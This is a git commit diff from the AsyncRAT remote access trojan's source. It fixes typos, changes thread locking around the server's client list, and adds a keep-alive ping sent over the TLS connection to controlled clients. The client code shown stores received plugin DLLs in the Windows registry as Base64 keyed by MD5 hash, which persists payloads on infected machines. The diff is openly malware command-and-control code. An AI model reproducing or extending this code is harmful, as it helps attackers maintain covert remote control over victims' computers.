Update
This commit is contained in:
parent
0824921738
commit
468a9b8e7d
@ -44,7 +44,7 @@ namespace Client.Handle_Packet
|
|||||||
case "savePlugin": // save plugin as MD5:Base64
|
case "savePlugin": // save plugin as MD5:Base64
|
||||||
{
|
{
|
||||||
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
|
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
|
||||||
Debug.WriteLine("plguin saved");
|
Debug.WriteLine("plugin saved");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -56,7 +56,7 @@ namespace Client.Handle_Packet
|
|||||||
if (SetRegistry.GetValue(plugin) == null)
|
if (SetRegistry.GetValue(plugin) == null)
|
||||||
{
|
{
|
||||||
plugins.Add(plugin);
|
plugins.Add(plugin);
|
||||||
Debug.WriteLine("plguin not found");
|
Debug.WriteLine("plugin not found");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (plugins.Count > 0)
|
if (plugins.Count > 0)
|
||||||
|
@ -26,11 +26,12 @@ namespace Server.Connection
|
|||||||
private int ClientBuffersize { get; set; }
|
private int ClientBuffersize { get; set; }
|
||||||
private bool ClientBufferRecevied { get; set; }
|
private bool ClientBufferRecevied { get; set; }
|
||||||
private MemoryStream ClientMS { get; set; }
|
private MemoryStream ClientMS { get; set; }
|
||||||
public object SendSync { get; } = new object();
|
public object SendSync { get; set; }
|
||||||
public long BytesRecevied { get; set; }
|
public long BytesRecevied { get; set; }
|
||||||
|
|
||||||
public Clients(Socket socket)
|
public Clients(Socket socket)
|
||||||
{
|
{
|
||||||
|
SendSync = new object();
|
||||||
TcpClient = socket;
|
TcpClient = socket;
|
||||||
SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
|
SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
|
||||||
SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
|
SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
|
||||||
@ -122,7 +123,7 @@ namespace Server.Connection
|
|||||||
{
|
{
|
||||||
if (LV != null)
|
if (LV != null)
|
||||||
{
|
{
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
Program.form1.Invoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -268,5 +269,26 @@ namespace Server.Connection
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void KeepAlivePacket(object o)
|
||||||
|
{
|
||||||
|
lock (SendSync)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||||
|
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||||
|
byte[] buffer = msgpack.Encode2Bytes();
|
||||||
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||||
|
SslClient.Write(buffersize, 0, buffersize.Length);
|
||||||
|
SslClient.Write(buffer, 0, buffer.Length);
|
||||||
|
SslClient.Flush();
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Disconnected();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -69,43 +69,42 @@ namespace Server
|
|||||||
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private Clients[] GetSelectedClients()
|
private Clients[] GetSelectedClients()
|
||||||
{
|
{
|
||||||
lock (Settings.LockListviewClients)
|
|
||||||
|
List<Clients> clientsList = new List<Clients>();
|
||||||
|
Invoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
List<Clients> clientsList = new List<Clients>();
|
lock (Settings.LockListviewClients)
|
||||||
Invoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count == 0) return;
|
if (listView1.SelectedItems.Count == 0) return;
|
||||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
clientsList.Add((Clients)itm.Tag);
|
clientsList.Add((Clients)itm.Tag);
|
||||||
}
|
}
|
||||||
}));
|
}
|
||||||
return clientsList.ToArray();
|
}));
|
||||||
}
|
return clientsList.ToArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Clients[] GetAllClients()
|
private Clients[] GetAllClients()
|
||||||
{
|
{
|
||||||
lock (Settings.LockListviewClients)
|
|
||||||
|
List<Clients> clientsList = new List<Clients>();
|
||||||
|
Invoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
List<Clients> clientsList = new List<Clients>();
|
lock (Settings.LockListviewClients)
|
||||||
Invoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
if (listView1.Items.Count == 0) return;
|
if (listView1.Items.Count == 0) return;
|
||||||
foreach (ListViewItem itm in listView1.Items)
|
foreach (ListViewItem itm in listView1.Items)
|
||||||
{
|
{
|
||||||
clientsList.Add((Clients)itm.Tag);
|
clientsList.Add((Clients)itm.Tag);
|
||||||
}
|
}
|
||||||
}));
|
}
|
||||||
return clientsList.ToArray();
|
}));
|
||||||
}
|
return clientsList.ToArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private void Connect()
|
private void Connect()
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
Loading…
x
Reference in New Issue
Block a user